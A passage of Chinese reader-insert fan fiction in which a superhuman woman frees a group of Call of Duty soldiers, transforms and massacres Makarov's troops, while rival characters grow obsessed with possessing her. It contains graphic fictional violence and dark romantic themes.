她毫不犹豫地一跃而下,精准地落在棕熊宽厚的背上。棕熊暴怒地人立而起,试图将她甩下去,但Y/N一把揪住它后颈的皮毛,另一只手高高扬起。
“啪!”一记响亮的耳光抽在熊脸上。
令人意外的是,棕熊的动作突然顿住了。它充血的眼睛眨了眨,鼻头抽动着,似乎在Y/N身上嗅到了什么熟悉的气息。
尽管依然喘着粗气,但它竟然慢慢安静了下来,只是不安地用爪子刨着地面。
“你们在干什么?”Y/N皱眉问道,声音在混乱的石屋内格外清晰。
然而没有人回应她。
Price和Ghost仍然死死掐着对方,Keegan的拳头砸在Krueger脸上,而Krueger正疯狂大笑着,血沫从面罩下涌出,其他人全都扭作一团,攻击着对方。
他们似乎完全看不见她,也听不见她的声音。
直到一把匕首突然从背后刺入Y/N的肩膀。
她猛地回头,对上了Krueger那双布满血丝的眼睛。他歪着头,表情扭曲而困惑,像是看到了什么不可思议的东西。
“H?a,Katzchen?(小猫?)”
他喃喃道,随即又暴怒起来,“假的吧!Wer zum Teufel bist du? dass du dich als mein K?tzchen ausgibst!(你他妈谁啊敢假装我的小猫!)
说着,他猛地拔出匕首,就要朝她捅第二刀。
Y/N抬腿就是一记侧踢。Krueger整个人倒飞出去,重重撞在墙上,滑落在地。
她摸了摸肩头的伤口,又看了看石屋内众人的状态,瞳孔扩散,攻击性极强,完全丧失理智。
“原来如此。”Y/N低声自语,“是被大蚂蚁咬了吧。”
她曾经在山林里见过那种变异蚂蚁,被它们咬过的动物会陷入疯狂,甚至同类相残。
没办法了,她叹了口气,活动了一下手腕,棕熊似乎察觉到了她的意图,低吼一声,用脑袋轻轻蹭了蹭她的腿。
Y/N拍了拍它的鼻子,然后一个手刀劈在棕熊的后颈。庞大的身躯轰然倒地,发出沉闷的响声。
Y/N转身看向仍在厮杀的众人,
“祝你们好运。”她轻声道,“可能会有点疼。”
下一秒,她的身影冲入了战团。
21. 自娱自乐
Merrick是第一个醒来的。
Y/N对上了一双金属般的眼睛,冷冽、锋利,像淬了火的刀锋,却又在昏暗的光线里泛着奇异的灰蓝色。
她从没见过这样的眼睛,像是某种机械与生命的诡异融合,漂亮得近乎非人。她鬼使神差地蹲下身,指尖微微抬起,想要触碰那双眼睛。
Hesh和Logan几乎是同时惊醒,目光猛地锁定在Merrick面前的人影上,肌肉绷紧。
可Keegan的动作比他们更快。他一把将二人推开,力道大得几乎让年轻人踉跄两步,声音低沉而冷硬。
“Calm down, kid!”
Y/N听见Keegan的声音,迅速回头,几乎是本能地移到他身前。她的手轻轻捏了捏他的掌心,摩挲过他粗糙的指节,像是某种无声的安抚。
而下一秒,Konig的身影突然掠来,双臂猛地箍住她的腰,将她整个人提离地面。
他的呼吸灼热而急促,整张脸埋进她的脊背,像一头濒死的野兽终于寻回巢穴,疯狂地蹭着她,声音支离破碎。
“Y/N… Y/N!我…我以为你…再也不会…不会回来了!”
Konig的嗓音嘶哑得几乎不成调,每一个音节都像是从胸腔深处挤出来的,带着某种近乎绝望的颤抖。
仿佛她是他唯一的光,而他已经独自在黑暗里走了太久。
“仙女教母!你来救我们了!你果然是我的仙女教母,你认我做教子吧,Y/N!”Soap开心的大喊,跑过去拍了拍konig,“你轻点大个子!别把我教母弄疼了!”
Krueger活动了一下筋骨,关节发出细微的咔响。他盯着Y/N,那双总是浸着暴戾的眼浮起兴味。
“小猫,我没看错吧?你竟然来找我了?”
他的嗓音低沉,带着某种野兽般的沙哑,尾音微微上扬,像是发现了什么不得了的趣事。
但下一秒,他的目光骤然沉了下去,锁定在她身上某处。
“你,从哪里受的伤?”
Y/N朝他翻了个白眼,不想理他。Krueger愣了一下,皮革面罩下随即迸出笑声。
小猫居然会做这种表情?他舔了舔犬齿,眼底的暗色翻涌得更深,怕是跟那个狗骨头学的吧?
但小猫可不一样,做出来只会让他,兴奋不已。
Price缓缓睁眼,视线扫过众人,最终落在坐在Konig肩头的女人身上。
他撇了撇嘴角笑了。看来他们没看错,Konig确实不一样了。等回到141,他得给这小姑娘弄点比热可可更好的玩意儿尝尝。
他们自然都发现身上的伤全然消失了,除了那几个第一次接触Y/N的新人外,其他人都是一副了然。
那头棕熊也醒了过来,棕黑的皮毛甩了甩,它低吼一声,迈着步子走近,所有人瞬间绷紧身形。
却见那熊只是凑过来,湿润的鼻尖贴了贴Y/N的手背。
“看吧,小熊,我就说你们很像。”
她顿了顿,目光转向还倒在地上的Ghost,眉头微微蹙起。
“他怎么还没醒?”
Price蹲下身,粗糙的指腹按在Ghost的颈侧,片刻后松了口气,“没事,只是吸入气体过量。”
他站起身,目光扫过众人,声音低沉,冷静。“我们现在没有武器,出去就是送死。”
price又看了眼破碎的监控,“先在这等着,等马卡洛夫自己过来,我们可以挟持他。”
Y/N的耳朵一动,像是捕捉到了什么有趣的信息。她歪了歪头,眼睛亮得惊人。
“要什么样的武器?”
Merrick,Hesh和Logan几人没见过Y/N,但从Keegan那儿早就听说了,这是之前那个任务里的目标。
他们没见过这样的女人。
能控制棕熊,能把他们全部击倒,而且,他们身上完好无损的伤,或许也跟她有关。
更不必说,她有副脱离凡俗的模样。
Price看着Y/N,哈哈大笑,眼角的皱纹舒展开来,“什么都行。你就找你觉得看起来顺眼的。”
Y/N前脚刚从石闸门跃出,Ghost后脚就睁开了眼睛。他缓缓晃了晃脖子,颈椎发出轻微的咔响,视线扫过屋内众人时还带着几分恍惚。
那头凶悍的棕熊竟像只温顺的大狗般蜷在角落,正慢条斯理地舔着爪子梳理毛发。
Price倚在墙边叼着根没点燃的雪茄,Konig摸着自己的抹布头套,而Keegan,Keegan甚至在对Hesh比划某个侮辱的手势。
Ghost眯起眼。
这不对劲。
马卡洛夫怕不是往这间屋里喷了什么致幻剂,怎么一觉醒来,他们这群杀胚突然变得像郊游途中的童子军?
他刚撑着地面站起身,头顶突然传来“哒哒哒”的动静,却只有他瞬间进入战斗状态。
先是个全副武装的守卫被踹了下来,摔在地上不省人事。
紧接着是整箱武器“哗啦”倾泻而下,AK-47和MP5在水泥地上撞出清脆的金属声,几颗手雷咕噜噜滚到Price脚边。
Ghost的呼吸骤然绷紧,胸腔里翻涌着某种难以置信的雀跃,几乎要冲破肋骨跳出来。直到天窗边探出那个熟悉的脑袋,他不自觉笑出了声。
她长长的头发随意捆在头顶,几缕凌乱的鬓发被汗水黏在脸颊边,那张沾着血污的小脸上满是得意,眼睛亮得像藏了星星。
居然真的是她。
她竟然也会有这样生动的表情。
“你醒了?我再去拿点!”她转身就要走,动作敏捷得像只野猫。
“够了,别去了。”Ghost出声喊住她,招手示意她下来,嗓音比想象中还要沙哑。
没想到兜兜转转,又是她救了这群亡命之徒。
棕熊突然打了个响鼻,用毛茸茸的大脑袋亲昵地拱了拱Y/N垂落的裤脚。Ghost眯起眼睛,这致幻剂的效果未免太持久了。
刺耳的警报声突然划破空气。看来她刚才的行动被发现了。Ghost利落地捡起枪,朝她勾起嘴角,“等回去,我说话算话。”
Y/N立刻像只欢快的小兽般扑进他怀里,毛茸茸的脑袋在他颈窝蹭了蹭,就像她在旅途中见过的那些普通人表达亲昵的方式。
Ghost浑身僵住了,原本下意识想推开的手停在了半空。
Price终于点燃了那支雪茄,用手肘捅了捅Soap。两人交换了个心照不宣的眼神,脸上写满了玩味。
Krueger的眼底翻涌起阴鸷的暗潮,他死死盯着相拥的两人,他发誓,等离开这个鬼地方,他一定要把小猫锁起来,藏到谁也找不到的地方。
这些该死的狗东西,一个个都在觊觎他的所有物。
Merrick若有所思地瞥向Keegan。他想起刚才Keegan为了这个女孩,毫不犹豫推开Hesh和Logan的样子。
Merrick眼里浮现一丝笑意。至少现在,Keegan看起来像个活人,而不是一具行走的躯壳了。
Konig开心地举起两把冲锋枪,像个得到新玩具的孩子。他转头看向那头变得温顺的棕熊,眼神突然柔下来,这让他想起在战区喂过的那条野狗。
直到现在,他偶尔还会后悔,当初没有带它离开。
“跟我走,我带你们抄近道。”
Y/N仰头对这群高大的男人说道。她转身摸了摸那头棕熊,熊温顺地低下头。Y/N闭眼将额头贴上熊的脑袋,片刻后轻盈地跃上天花板的闸门口。
“踩着熊背跳上来,快!”
棕熊乖乖站在原地当跳板,Konig是最后一个上去的,临走前还不忘撸了把熊脑袋。
Y/N精准投出Konig挑选的最小威力炸弹,正中马卡洛夫离开的那道石门。轰然巨响中,棕熊甩掉头上的石灰,怒吼着冲了出去。
一群高大的男人紧跟在Y/N身后,敏锐地察觉到她不同寻常的紧张。
Keegan快步上前,在惊诧和愤恨的眼神中牵住她的手,“你怎么了,在害怕吗?”
“快走,快走!”
Y/N反常地没有回握,反而用力推着Keegan往前,接着又推Merrick和其他人,直到自己落在最后。她焦急地催促。
“快点出去!后面有大蚂蚁!”
众人一头雾水,Krueger故意放慢脚步,整个人懒洋洋地往后靠,把重量都压在她推拒的手上,眼角余光跟着她,噙着玩味的笑。
Y/N心想,多亏那个黑蜥蜴般的男人指路,这条废弃矿道竟真无人阻拦。
整个矿洞回荡着刺耳的警报声,士兵们全往武器库狂奔。她困得眼皮发沉,连续多日未眠。
突然前方队伍停住,Ghost冷硬的声音传来,“让开,否则就死在这。”
Y/N歪头看去,晨光已从石缝渗入,勾勒出那个戴防毒面具的身影。
她小跑过去拽Ghost胳膊,“他是我朋友!指路的就是他!别磨蹭了,你们怎么这么麻烦?”
Ghost和Keegan闻言一怔。他们发现Y/N的说话方式越来越像,普通人。
两人嘴角各自在面罩下扬起,或许这趟出走,她真见识了不少人间烟火。
Nikto确实没拦他们的路,他只是刚好回来
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而已,他被马卡洛夫花钱雇来是保护他的,这几人要走,又不是去杀马卡洛夫,关他什么事。
但拿枪对着他,他有点不开心了,Nikto的眼神沉了下来,准备去掏腰间的毒气炸弹,这时熟悉的声音响起,是那个给他递火把的人。
看来他们是一路的,那好吧。他的手又自然的放松下来,根本不在乎举着枪的他们,越过他们朝黑漆漆的洞里走去了。
而马卡洛夫这时才发现,地下石屋里的人全部消失了,连那头棕熊都发疯般杀了他不少守卫,沿着矿洞跑了出去。
所有监控都在他的房间,关于矿洞路线的监控更是被他锁在房间里的房间。
他不会让任何人知道他整个矿洞的结构,而他也自大到他的人手足够守住每一个地方,不可能发生俘虏从矿洞最深处逃走的可能。
马卡洛夫冷着脸快步走进那间上锁的里屋,调出所有十分钟内的监控。
屏幕的蓝光在他瞳孔里割裂出细碎的裂纹,直到,一道身影闪过。
他的手指突然悬停在键盘上,呼吸凝滞。
是那个女人。
竟然是那个女人。
他的嘴角缓缓咧开,喉咙深处滚出一声低笑,下一秒,全区通讯频道被打开。
信号杂音刺穿每一台无线电,连加密协议都懒得伪装,他就是要让Price那帮人听见,就是要让整个战场都知道。
“Моидорогиесыновья!” (我亲爱的儿子们!)
连电流杂音都盖不住那股扭曲的兴奋。
“我们的祭品屈尊降临这片圣地了!我不希望在她回答我一个问题之前,看到任何一颗子弹打进她的脑袋。”
“但是,如果她反抗,就打断她的腿。”
他松开按键,任由频道里爆发出混乱的俄语应答和枪械上膛声。
当Price带领小队走出矿洞时,无线电里突然传来马卡洛夫的声音。
所有人都听见了,除了Y/N和Krueger,但Krueger敏锐地察觉到每个人都瞬间僵住,尤其那几个看门狗的眼神,即刻沉了下来。
“快!立即撤离!”Price厉声命令道。
他们突然将Y/N严密保护在中间,Konig持枪殿后,冲锋枪始终指向前方。
Krueger眯起眼明白了,压低身子握着匕首在四周死角巡视。Ghost和Keegan反应迅速,前者立即转身警戒后方,后者瞬间占据Y/N左侧位置。
Merrick的手指已扣在扳机上,“Logan,控制3-9点方向扇形区域。Hesh,注意高处狙击点。30秒后交替掩护转移。”
Logan一把将Hesh拽到身后,“跟紧我后背,菜鸟。”
而Hesh虽被护在后面,但立刻半蹲下身,子弹利落上膛,Logan轻哼一声,“看来不用我操心。”
Hesh咬着牙回怼,“我可不是拖油瓶!”
却在被Logan瞪了一眼后,憋屈地补充,“知道了,哥。”
至于Soap,他几乎是本能地一个翻滚贴近Y/N右侧,同时右手已经举起□□,“哈!马卡洛夫这老狐狸终于坐不住了?想抓我的仙女教母,做梦!”
Krueger窜了回来,阴森森插话,“或许我们可以直接回去给马卡洛夫问个好,他可让我吃了不少苦头啊。”
“收起你的表演欲。”Keegan随即对Y/N柔声道,“跟紧我,别管他。”
Ghost沉默着像死神般,注视每一寸可能存在危险的空隙。
Price嘴上的雪茄烟头在晨雾下明灭,“移动时保持菱形队形。所有人,盯好我们的princess,Let''s give them hell.(让他们见识地狱)
他们全身绷到极限,扫视威胁。连呼吸都刻意保持平稳轻缓,就像掠食者发动攻击前的姿态。
Y/N被晨光晃得眼前发晕,几日未眠的疲惫如潮水般涌来。
她机械地迈着步子,整个人恍惚得像在梦游,连爆炸声都像是隔着一层毛玻璃。
可马卡洛夫的追杀来得比雪崩还快。他们刚踏进冻土带,第一枚导弹就精准炸在左翼,紧接着第二枚呼啸而至。
这根本不是追击,而是像围猎动物般的有序剿杀。
武装甲车的轰鸣碾碎雪原寂静,直升机桨叶将空气撕成碎片,整座山头瞬间被钢铁洪流包围。
Price的目光扫过Y/N,又掠过那几个以血肉为盾死死护住她的身影。那些姿态,是随时准备拿自己的命去填弹坑。
可他们不是超级士兵,不是科幻怪物,哪怕像Konig这样被改造过的存在,终究也只是血肉之躯。
22. 自娱自乐
一辆纯黑色装甲车碾过碎石,引擎低吼着停下。车门缓缓打开,马卡洛夫踱步而出,像一条毒蛇滑出巢穴。
Nikto无声地挡在他身前,面具在阴影下泛着冷光。
“把她交出来,我留你们全尸。”马卡洛夫的声音黏腻如沥青。
“做梦。”Ghost的嗓音比刀锋更利。
马卡洛夫轻笑,摩挲着袖口的纽扣,“或者,我把你们碾成肉泥,再把她残缺的躯体拼回去抢救?”
Keegan的指节爆出脆响,瞳孔骤然收缩,此刻他的眼神竟比Krueger更癫狂。
Konig像一头被激怒的巨熊,横挡在Y/N面前,喉间滚出浑浊的咆哮。
他们以自身筑成围墙,将Y/N死死护在中央。她透过他们肩膀的缝隙望去,猝不及防撞上Nikto的视线。
那目光里竟翻涌着困惑与不解,仿佛在审视一个违背逻辑的谜题。
“最后一次机会,”马卡洛夫抚平衣领褶皱,微笑如毒牙闪光,“是谈判,还是让我,亲手拆解你们。”
Y/N感到一阵眩晕,太阳穴突突跳动,有无数细小的针在颅内穿刺。她的视线边缘开始泛黑,呼吸变得急促而灼热,这不对劲。
她似乎一直靠着在日间沉睡来维持某种诡异的平衡,而现在,这种平衡被打破了。
烦躁如野火般在血管里升腾,她咬紧牙关,指甲掐进掌心甚至淌出了血,却感觉不到痛。
“你们吵死了。”
她的声音很轻,却让空气骤然凝固。
Konig微微侧头,余光扫过她苍白的脸和颤抖的指尖。Keegan的眉头拧得更紧,但他没有回头,他的枪口仍死死锁定马卡洛夫。
Nikto的视线却黏在她身上,面具下的呼吸声变得沉重。他忽然向前迈了一步,像是被某种本能驱使。
“Похоже, тебенужноотдохнуть”(你看起来需要休息)他的俄语低沉沙哑,却透着一丝古怪的关切,仿佛在观察一只濒死的实验动物。
马卡洛夫挑眉,饶有兴趣地瞥了一眼Y/N,“看来我们的客人状态不佳?真遗憾,我本想好好招待各位的。”
Ghost的指节扣在扳机上,声音冷得像冰:“闭上你的狗嘴。”
但Y/N已经听不清他们在说什么了。她的耳畔只剩下尖锐的蜂鸣,视野被血色一点点侵蚀。
某种东西在她体内苏醒,不是恐惧,不是疲惫,而是更原始,更暴戾的东西。
她想要撕碎什么。
“Y/N!” Price的吼声被爆炸般的风声撕碎。
她跃了出去。
不是逃跑,不是躲避,而是像一枚导弹,笔直刺入敌群。
第一个死的是马卡洛夫离他们最近的手下。
Y/N的指爪不知何时已变得尖锐如刀划过他的喉咙,动脉血喷溅的弧度像一场小型烟花。
那人甚至没来得及扣动扳机,眼球因惊愕而凸出,直挺挺向后栽倒。
然后是第二个,第三个……
她的动作更像是某种被逼入绝境的野兽。骨骼断裂的脆响,肌肉被撕开的闷声,濒死的惨叫。
这一切混杂在一起,却仿佛离她很远。她的耳中只有自己越来越快的心跳,像战鼓般催促着她,杀。杀光。
而Krueger,他见过无数种暴力,但从未见过如此疯狂的毁灭。他仿佛忘记了自己还在战场上。
喉结滚动,呼吸变得沉重,像是目睹了一场神圣的献祭。嘴角不受控制地上扬,露出一个近乎狂热的笑容。
“Fuck… Look at her.” (操……看看她。)
马卡洛夫愣住了。
他的嘴角缓缓扬起,眼底闪烁着病态的惊喜。“啊……这可真是……” 他喃喃自语,甚至忘了后退。
Nikto原本举起的枪慢慢垂下,面具后的瞳孔紧缩,不是恐惧,而是某种近乎崇拜的狂热。
“Она… прекрасна.” (她……真美。)
“开火!开火!杀了她——!”
马卡洛夫的手下终于反应过来,子弹如暴雨般倾泻。但Y/N的身影在弹道间诡异地扭曲,仿佛能预判每一颗子弹的轨迹。
她的反击更加残忍,抓住一人的步枪枪管,借力拧断他的手腕,再反手将枪托砸进另一人的面骨。
马卡洛夫的手下朝她开枪? Krueger瞬间暴怒,几乎条件反射地抬枪爆了那人的头。那个像坨黑石头一样的俄国佬,竟然敢那样盯着她看,他要把那面具塞进他的喉咙里。
Price的指节捏得发白,他看见Y/N扑向下一名敌人时,那人的肠子被活生生扯出腹腔。这不是营救,而是屠杀。
而他们,很可能就是下一批猎物。
“全员撤退!” Price终于咬牙下令,“快走!别回头!”
Konig像一头被激怒的巨熊,喉咙里滚出低沉的咆哮,似乎下一秒就要挣脱束缚冲回去。
“Price!我们他妈不能丢下她!” Ghost的怒吼几乎撕裂喉咙,他的手死死扣住掩体边缘。
Keegan已经调转枪口,瞄准了马卡洛夫的方向,声音沙哑而凶狠,“我们不能就这样走!”
但Price的眼神如冰,那是命令,不容置疑。
“她现在已经不是她了。” Price的声音像钝刀割进每个人的心脏,“你们想死在这里吗?!”
Logan和Merrick一左一右架住Keegan,硬生生将他往后拖。
Soap和Hesh拽住Konig,这个奥地利巨汉的力量大得惊人,几乎要把他们甩开。
“Y/N!Y/N!” Konig的吼声里混着某种近乎野兽的哀鸣。
Ghost站在原地没动。他盯着远处那个在血雾中穿梭的身影,与上次在屠宰场不一样,现在的她像失去了灵魂。
究竟是怎么了。
子弹擦过她的肩膀,她却连眉头都没皱一下,反手将那人持枪的手腕生生掰断,骨头刺穿皮肤,白森森的断面沾着血。
Y/N不会这样杀人。
“Ghost!Move your ass!” Soap的吼声将他拉回现实。
Price已经拽住了他的战术背心,力道大得几乎要把他扯倒。“现在不是发呆的时候!”
Ghost最后看了一眼那片杀戮场,咬紧牙关,转身跟上队伍。
而Krueger死死盯着Y/N的方向,直到她被血雾和硝烟彻底遮挡。嘴角仍挂着那抹扭曲的笑,但眼神冰冷得吓人。
他本不想离开,可如果Y/N现在连他都杀,那她就真的回不来了。这个念头让他竟罕见地感到一丝恐惧。不行,绝对不行。
在撤离中,Krueger与price的小队分开了,他没有跟着他们。他要自己蛰伏在这块区域,然后找到她,抓住她,让她变回自己的小猫。
如果之后找到她时仍在暴走,他不介意选择暂时伤害她,再拖回去。
Price的小队撤到了安全区边缘。
枪声早已停止,风雪吞没了身后的血腥。Ghost突然停下脚步,回头望向那片被染红的雪原。
那里只剩下盘旋的风暴,像一座猩红的墓碑。
“她…Y/N…” konig的嗓音沙哑,“Y/N,是在救我们!”
直到此刻,他们才意识到,从始至终,没有一颗子弹真正飞向他们。
Y/N撕裂敌阵的路线,精准得像手术刀剖开血管。她的疯狂是暴戾的,却也是保护的。
Ghost的拳头狠狠砸在树干上,树皮迸裂,指节渗血。从她出现来到此处寻他们开始,他们甚至没发现她的异常。
而现在,她独自站在那片血与雪的地狱里,替他们斩断了所有追兵。
雪原中央。
Y/N的竖瞳泛着幽光,像两颗坠入人间的星辰。她脚下的血雪悬浮而起,环绕着她缓缓旋转,仿佛臣服于某种无形的威压。
马卡洛夫仰头看着她,呼吸凝滞。
他见过无数怪物,人为制造的,基因扭曲的,战争催生的,但从未见过这样的存在。
她是自然的暴怒,是风雪本身。
“你是想杀我?”她的声音不再属于人类,而是某种更古老的东西的回响。
马卡洛夫忽然笑了,笑容里带着罕见的,近乎虔诚的狂热。他缓缓单膝跪地,大衣下摆浸入血泊。
“我不想杀您,”他抬起头,瞳孔因兴奋而收缩,“我只是想认识您。”
Y/N俯视着他。
风雪在她周身凝固,时间仿佛被拉长。马卡洛夫感到一阵刺骨的寒意钻进骨髓,不是来自冰雪,而是来自她的目光。
她在看穿他的灵魂。
半晌,风雪重新流动。Y/N落回地面,血迹斑斑的发丝垂落肩头,竖瞳微微收敛。
“你没有说谎。”
她转向Nikto。
这个从来只知杀戮的男人僵立原地,面罩内传出紊乱的杂音。他的手指不受控地抽搐着,像是想触碰什么禁忌之物。
“你呢?”Y/N轻声问,“想杀了我?”
Nikto机械地摇头,他不需要语言。他的眼神已经献上了忠诚。
远处山巅,Price的望远镜镜头里,最后定格的是Y/N转身离去的背影。风雪吞没了她,也吞没了跪在原地的马卡洛夫与Nikto。
像一场神迹的终幕。
Soap突然抢过
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望远镜,声音嘶哑,“她还活着!他们没有伤害她!”
Price沉默着点燃雪茄,烟雾混着白霜呼出。
“不重要了。”
从今天起,这世上或许多了一个必须被所有势力争夺的“资源”。
而他们比谁都清楚,马卡洛夫眼中闪烁的不是敬畏,而是贪婪的狂热。
这个男人想要的从来不是朝圣,而是一场以神迹为火种的圣战。
当邪教徒的疯子嗅到神迹,它们不会真的跪拜,只会想着如何将神明拖下祭坛,撕咬分食。
而这个世界,最不缺的就是疯子。
Y/N赤脚踏过火山岩,硫磺蒸汽在脚边翻涌。
她并没回头确认Nikto的位置。他像一条被血腥味吸引的蝮蛇,始终游弋在她身后,面罩里发出缓慢的,近乎休眠的呼吸声。
她不在乎。他不过是岩缝里某只蜥蜴的变种。
温泉池像一锅铅灰色的浓汤,表面浮着结晶的碎屑。她扯下沾满硝烟血液的连帽衫。
指尖触到内袋里某样硬物,Ghost塞给她的骨传导耳机,她记得,这是被围在他们中间时。
那张骷髅面说“频道永远开放”。
但此刻,那记忆像隔着博物馆玻璃的标本。
她将耳机抛进池水,没有水花声。失去五感后,连声音都成了理论概念。
身体沉入温泉的刹那,皮肤没有传来应有的灼痛。水面映出她的脸,竖瞳如两枚银钉,虹膜边缘爬满细小的黑色血管。
Nikto在岸边的阴影里跪下,检查枪械,但面具的倾斜角度暴露了真相。
他在观察她肩胛骨下方新生的鳞状纹路,那些在硫磺蒸汽中微微发亮的,非人类的肌理。
“Хочешьесть?(你饿吗)”他突然用俄语问,声音像砂纸摩擦铁锈。
Y/N的指尖划过水面,硫磺结晶立刻聚拢成尖锐的几何体。“不需要。”她回答。
这是事实。她的胃早已停止蠕动,但细胞仍在吞噬某种更原始的能量,也许是火山辐射,也许是恐惧本身。
Nikto的呼吸加快了。当他再次开口时,句子里的试探几乎称得上温柔。
“你会融化吗?像……”他指了指池底沉淀的动物骨骼。
Y/N抬起手,一团硫磺蒸汽在她掌心坍缩成晶体。“不会。”
她凝视着晶体在手掌中变形,像穿过晨雾的子弹,“但你可以试试。”
这是邀请还是威胁?连她自己都分不清了。
温泉突然沸腾。不是比喻,而是真正的沸腾,池底岩缝喷出高压蒸汽,却在触及她小腿的瞬间冻结成冰锥。
Nikto终于站起来,枪带扣撞在胸甲上发出脆响。
他的手套悬在腰间的□□上,像在权衡是否该把整座温泉炸成熔岩瀑布。
而Y/N只是闭上眼睛。
她记得人类需要睡眠。但永恒的清醒,似乎才是她新的常态。
Price带着Soap返回141特遣队,他们需要向总部汇报情况。
临走前,他看了一眼Ghost,后者像一尊铁铸的雕像,沉默地站在Keegan的安全屋门口,没有半点要跟上的意思。
Price没劝他。
他知道Ghost不是那种会做傻事的人,至少不是毫无意义的傻事。如果他要留下,那就意味着他必须留下。
Keegan也只剩下他自己。Merrick临走前用力拍了拍他的肩膀,什么都没说,但意思很明白“活着回来。”
Logan和Hesh也没多话,只是沉默地收拾装备离开。这不是他们能解决的问题,至少不是现在。
Keegan站在窗前,指节抵着太阳穴,眼神冷得像冰。
Konig不再把自己关在房间里。相反,他变得异常暴躁,却又异常冷静,一种近乎危险的平衡。
他开始一圈一圈地绕着马卡洛夫势力范围的最外围游走,像一头被激怒的狼在标记领地。
他不再隐藏,甚至故意让对方的巡逻队发现他的踪迹,却又在交火前迅速消失,只留下弹壳和血迹作为挑衅。
他在逼马卡洛夫现身。
两天后,Ghost和Keegan也来到了Konig的临时驻扎地。
他们没打招呼,也不需要。
Ghost沉默冷静地检查弹匣,Keegan蹲在地上,用匕首在地上划出一道道痕迹,像是在计算什么。
Konig站在高处,狙击镜扫过远处的建筑群,喉咙里发出一声低沉的,近乎野兽的笑。
“他,他快忍不住了。” Konig说,声音沙哑得像砂纸摩擦。
Ghost抬头,面罩下的眼睛冰冷而锐利。
“那就让他来。”
23. 自娱自乐
矿洞深处,潮湿的岩壁上凝结着血锈色的水珠。
Y/N坐在一张铺着黑熊皮的铁椅上。那是马卡洛夫的手下连夜从西伯利亚猎来献上的“贡品”。
没人敢抬头看她。
那日的场景还像烙铁般烫在所有目击者心里。那些骨渣嵌进木纹的裂缝里,至今还能抠出碎肉。
马卡洛夫对此视若无睹。
他甚至在餐桌上笑着举杯,“ЗанашегопрекрасногоВладыкупещеры(敬我们美丽的洞穴主宰)”
仿佛矿洞里多出一个凌驾于他之上的存在,不过,只是场无关紧要的游戏。
他当然不在乎。他只要她的血,她的基因,她体内那种能改写战争规则的力量。
Nikto像条被驯化的杜宾犬,终日徘徊在Y/N十步之内。
他替她撕开所有送来的食物包装,尽管她从不进食,会用枪托砸碎任何靠近她,未获允许者的膝盖骨,尽管她一个眼神就能让入侵者心脏停跳。
马卡洛夫冷眼旁观,嘴角噙着讥诮的弧度。
他太了解这种疯子了。
无论是Nikto对暴虐本能的臣服,还是Krueger那种把杀戮当呼吸的疯狗。
他们终会跪倒在更强大的毁灭面前,就像秃鹫围绕将死的猛兽盘旋。
某天深夜,Nikto突然用匕首割开自己的手掌,将血涂在Y/N椅边的岩壁上。
“你在做什么?”她问,竖瞳在黑暗中泛着银光。
“标记领地。”他的呼吸在面罩喷出灼热的雾气,“或者…..请您Отметьменя(标记我)。”
马卡洛夫说得对。疯子总是懂得认主。
一条毒蛇,一只豺狼。
但Nikto会承认自己的臣服与崇拜,他沉迷极致的毁灭,就像对火焰的执念。
他会主动投身火海,就像他会主动走进她周身萦绕的硫磺雾中,让皮肤被腐蚀出焦黑的纹路,似乎那是某种神圣的烙印。
他渴望的不是统治,而是同化。他希望自己成为毁灭的一部分。
而Krueger不同,他不会臣服于任何东西,他享受杀戮,但绝不会沉迷,对于Y/N他只想占有。
他从不崇拜毁灭,他只崇拜胜利,而拥有小猫的过程,对他而言就是在获取胜利。
如果Nikto想融入火焰,那么Krueger只想驯服火焰,或者至少,让它只为自己燃烧。
Ghost与Keegan,Konig在矿洞外围划下领地,用各自不同的方式四处留下战书,逼马卡洛夫现身,逼他走出那座被Y/N笼罩的矿洞。
Ghost彻底消失,连热成像都捕捉不到他的踪迹。
但他却让马卡洛夫的人不断发现同伴的尸体,喉咙被割开,面罩被摘掉,脸上刻着“我知道你在哪”的俄语血字。
每一天,Ghost都会在月亮升起前潜入矿洞的外围,对着那个唯一的频道,说出那些他几乎从不开口的句子。
“你还喝不喝热可可,我可以给你弄一车回来。”
“说了教你,什么时候回来。”
“我之后态度对你好点,行了吧。”
电流杂音混着他呼吸的滞重,像在拷问这片死寂的黑暗。
如果她还存留一丝人性。
他会带她走。哪怕她下一秒就可能撕开他的喉咙,哪怕她的竖瞳里只剩下兽性的冷光。
他可以学,可以试,可以用命去赌怎么压制她的疯狂。
反正他早就习惯与各种怪物共舞。
但如果。
如果她歪着头看他,像看一块无生命的岩石,如果她彻底沦为“它”
Ghost不知道。
或许,他会亲手终结她。必须是他。是他第一个把她带回来,是他第一个触碰她,是他…..
也该是他最后一个送她走。
Keegan没有像Ghost那样消失,他与konig呆在一处,可他并不像Konig那样无差别攻击。
专挑高价值目标下手,瘫痪敌方后勤,他会故意受伤,让敌人以为他虚弱,再反杀追击者,把尸体摆成指向矿洞的箭头。
他与konig交流很少,但Keegan会主动清理konig遗漏的侧翼,形成无死角的绞杀网。
他们要的不是潜入,而是宣战。
而Krueger,这只豺狼与他们的做法一样,驻扎在离矿洞不远的地方,他更隐秘,更像一只狡猾的狐狸。
潜伏在更远的山脊线上,狙击镜的十字线偶尔扫过矿洞入口,又迅速移开。
他只是在观察,计算,等待,他在等一个破绽。
也许是Y/N的力量失控的瞬间,也许是马卡洛夫按捺不住对Ghost他们主动出击的时刻,
又或者等一个能亲手绑走她的机会。
某天深夜,在Y/N再次去火山口的温泉,便遇到了藏匿已久的Krueger。
他堵住了去路,枪管懒散地抵着她的肋骨,声音里带着戏谑的沙哑。
“Katzchen小猫,还记得我吗?你知道马卡洛夫打算怎么用你的吗?”
Y/N的竖瞳微微收缩,但脸上依旧没有表情,Krueger低笑,枪口顺着她的脊椎缓缓上移,直到抵住她的后颈。
“他要把你拆解成武器,而我,只想拆解你现在的不在乎。”
他迅速抬起另只手,针尖刺入她颈侧,拇指推尽药剂,一气呵成。最大剂量的神经麻醉剂,足够放倒一头大象。
但Y/N连睫毛都没颤一下,她早就察觉到了他的靠近,只是懒得反应,这道气息很熟悉,根本威胁不到她。
Krueger盯着她毫无波澜的竖瞳,挑了挑眉,却又在下一秒低笑出声。
她没杀他。甚至允许他触碰。这算什么?施舍?还是某种默认?
他的指节擦过她的脸颊,触感像在抚摸一尊冰雕。
“现在的你,是不是什么都不在乎?” 他的嗓音沙哑带笑,“那不如。”
他的目光扫过她身上的华服,那是马卡洛夫特意从东方运来的黑绸礼服,血红钻花在暗处泛着妖异的光,像凝固的血珠。
真适合她。
一朵开在地狱边缘的彼岸花,一株染了毒的罂粟。
美丽,致命,且毫无人性。
